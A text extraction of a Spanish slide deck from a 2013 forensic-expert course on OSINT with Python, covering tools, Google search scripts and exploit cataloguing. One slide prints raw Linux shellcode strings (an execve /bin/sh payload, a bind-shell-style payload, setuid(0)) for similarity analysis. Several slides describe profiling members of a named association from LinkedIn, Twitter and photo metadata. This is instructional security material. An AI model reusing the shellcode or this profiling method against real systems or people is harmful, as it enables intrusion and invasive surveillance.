Top Banner
Curso de Perito Judicial Informático Forense 10-11 mayo 2013. Tarragona, España
49

Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

Oct 07, 2018

Download

Documents

trantruc
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

Curso de Perito Judicial Informático Forense 10-11 mayo 2013. Tarragona, España

Page 2: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

YO?

• Simón Roses Femerling

• Fundador & CEO, VULNEX www.vulnex.com

• Blog: www.simonroses.com

• Twitter: @simonroses

• Ex: Microsoft, PwC, @Stake

• Beca del DARPA Cyber Fast Track (CFT) para investigar sobre seguridad en el ciclo de desarrollo de software

• Ponente: Black Hat, RSA, OWASP, AppSec USA, SOURCE, DeepSec, TECHNET

Page 3: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

OBJETIVOS DE LA CHARLA

• Open Source Intelligence (OSINT) – ¿Qué es?

– ¿Cómo aprovecharlo?

• Desarrollo en Python

• OSINT + Python = Hacking a medida

Page 4: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

AGENDA

1. OSINT Intro

2. Aplicaciones prácticas

3. Caso de estudio

4. Conclusiones

Page 5: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking
Page 6: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

1. LO QUE SIEMPRE OÍMOS…

Page 7: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

1. LO QUE QUIEREN LAS COMPAÑÍAS DE PRODUCTOS…

Page 8: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

1. DONDE REALMENTE QUEREMOS ESTAR!

Page 9: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

1. ¿POR QUÉ PYTHON?

Page 10: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

1. MODELO OSINT (SIMPLIFICADO)

FUENTES

EMPRESAS

REDES

SISTEMAS

PERSONAS

RECOGIDA

BBDD

SENSORES

ANÁLISIS RESULTADO

• Informes • Personas • Links • Imágenes • Vulnerabilidades

• Lenguaje • Relaciones • Dimensiones • Tiempo • Visual

Page 11: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

1. HERRAMIENTAS OSINT

• Maltego http://www.paterva.com

• FOCA http://www.informatica64.com/foca.aspx

• Netglub http://www.netglub.org/

Page 12: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

1. SHODAN

Page 13: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

1. LEAKEDIN

Page 14: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

1. MUNDO DE APIS

Page 15: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

1. GOOGLE SEARCH API – CUSTOM SEARCH ENGINE (CSE)

• http://www.google.es/cse/

– Creamos un motor de búsqueda personalizado

– Token + ID

• https://code.google.com/apis/console/

– Activar APIs

• Solo 100 consultas por día (gratis)

Page 16: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking
Page 17: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. UN POCO DE CÓDIGO

• Desarrollo de simples scripts en Python para OSINT

• Muchas veces las herramientas no hacen lo que necesitamos

Page 18: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #1 - OBJETIVO

• Buscar miembros ANTPJI en LinkedIn mediante Google Custom Search API

Page 19: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #1 - CÓDIGO

• Google CSE

• Requests

Page 20: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #1 - RESULTADO

Page 21: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #2 - OBJETIVO

• Obtener las fotos de los miembros ANTPJI en LinkedIn mediante Google Custom Search API

Page 22: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #2 - CÓDIGO

Page 23: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #2 - RESULTADO

Page 24: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #3 - OBJETIVO

• ¿La relación de los miembros de ANTPJI en LinkedIn?

Page 25: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #3 - CÓDIGO

Page 26: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #3 – RESULTADO I

Page 27: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #3 – RESULTADO II

Page 28: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #3 – RESULTADO III

Page 29: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #4 - OBJETIVO

• ¿De qué se habla en el Twitter de la asociación?

Page 30: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #4 - CÓDIGO

Page 31: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #4 - RESULTADO

Page 32: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #5 - OBJETIVO

• ¿Dónde tienen cuenta los alias que participan en el Twitter de ANTPJI?

Page 33: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #5 - CÓDIGO

Page 34: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #5 - RESULTADO

Page 35: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #6 - OBJETIVO

• ¿Metadatos en las fotos de ANTPJI?

Page 36: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #6 - CÓDIGO

Page 37: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

2. EJEMPLO #6 - RESULTADO

Page 38: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking
Page 39: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

3. BÚSQUEDA DE EXPLOITS

• Objetivo: monitorización de varias fuentes para analizar y catalogar exploits (c/c++,python, perl y ruby)

• Cada exploit es: – Catalogado

– Shellcode analizado

• Automatizado con Python

Page 40: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

3. DIFERENCIAS EN SHELLCODES

\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

\x31\xc0\x40\x40\x89\x45\xf4\x48\x89\x45\xf8\x48\x89\x45\xfc\xb0\x66\x31\xdb\x43\x8d\x4d\xf4\xcd\x80\x31\xdb\x43\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1b\x39\x31\xdb\x89\x5d\xf0\x89\x45\xf4\x89\xc2\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x8d\x4d\xf4\xcd\x80\x89\x55\xf8\x31\xc0\x40\x89\x45\xfc\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x8d\x4d\xf8\xcd\x80\x89\x55\xf4\x31\xc0\x89\x45\xf8\x89\x45\xf8\x89\x45\xfc\xb0\x66\x31\xdb\xb3\x05\x8d\x4d\xf4\xcd\x80\x89\xc2\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x02\xcd\x80

\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

Mítica shellcode por Aleph One

\x31\xc0\x31\xdb\xb0\x17\xcd\x80 // setuid(0)

\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

Exploit 1

Exploit 2

Page 41: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

3. SHELLCODES DISTANCIA 80%

Page 42: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

3. SHELLCODES DISTANCIA 70%

Page 43: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

3. RESULTADO

• Usos de este proyecto:

– Repositorio de exploits para pentesting

– Evolución de exploits y shellcodes

– Detectar exploits maliciosos

– Firmas para IDS

– Estadísticas

Page 44: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking
Page 45: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

4. CONCLUSIONES

• OSINT es un arte

• Diversos usos: – Pentesting

– Forensics

– Marketing

• Con un poco de Python podemos crear sofisticadas herramientas

Page 48: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

4. LIBROS

Page 49: Curso de Perito Judicial Informático Forense 10-11 … · •Open Source Intelligence (OSINT) –¿Qué es? –¿Cómo aprovecharlo? •Desarrollo en Python •OSINT + Python = Hacking

4. Q&A

• Gracias!

• @simonroses